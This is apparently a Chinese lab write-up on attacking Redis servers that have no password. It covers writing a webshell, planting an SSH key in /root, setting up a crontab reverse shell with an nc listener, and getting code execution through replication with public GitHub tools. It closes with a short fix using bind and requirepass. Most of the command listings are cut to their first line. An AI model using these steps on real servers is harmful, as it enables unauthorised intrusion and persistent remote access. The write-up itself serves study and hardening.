漏洞成因
默认情况下,Redis会监听6379端口,如果没有设置密码认证,那么任何能够访问该端口的用户都可以执行相应Redis命令。
环境
靶机
1 | wget http://download.redis.io/releases/redis-4.0.10.tar.gz |

攻击机
同样下载编译一个redis步骤同上
连接redis
因为我这边靶机是放在云服务器上,所以需要另外调整一下设置
protected-mode设置为no
bind设置为0.0.0.0,默认为只接受本机
在src目录下通过./redis-cli -h ip连接

漏洞利用
写入webshell
1 | config set dir /var/www/html |
\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
SSH登录
1 | ssh-keygen -t rsa |
读取公钥到key.txt里,顺便前后用换行,避免和redis里其他缓存数据混合;然后将key.txt写入redis

设置redis的dump文件路径
1 | config set dir /root/.ssh |
ssh连接
1 | ssh ip |


反弹shell
在crontab里写定时任务,然后反弹shell
nc -nvlp 5555
1 | config set dir /var/spool/cron/crontabs //也可以/var/spool/cron |

主从复制getshell
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
1 | git clone https://github.com/Ridter/redis-rce.git |
脚本一把梭,大致扣了步骤,感觉没啥意思
修复
从环境配置就能看到,直接去redis.conf里设置好bind,只放行需要放行的ip,以及设置好密码requirepass password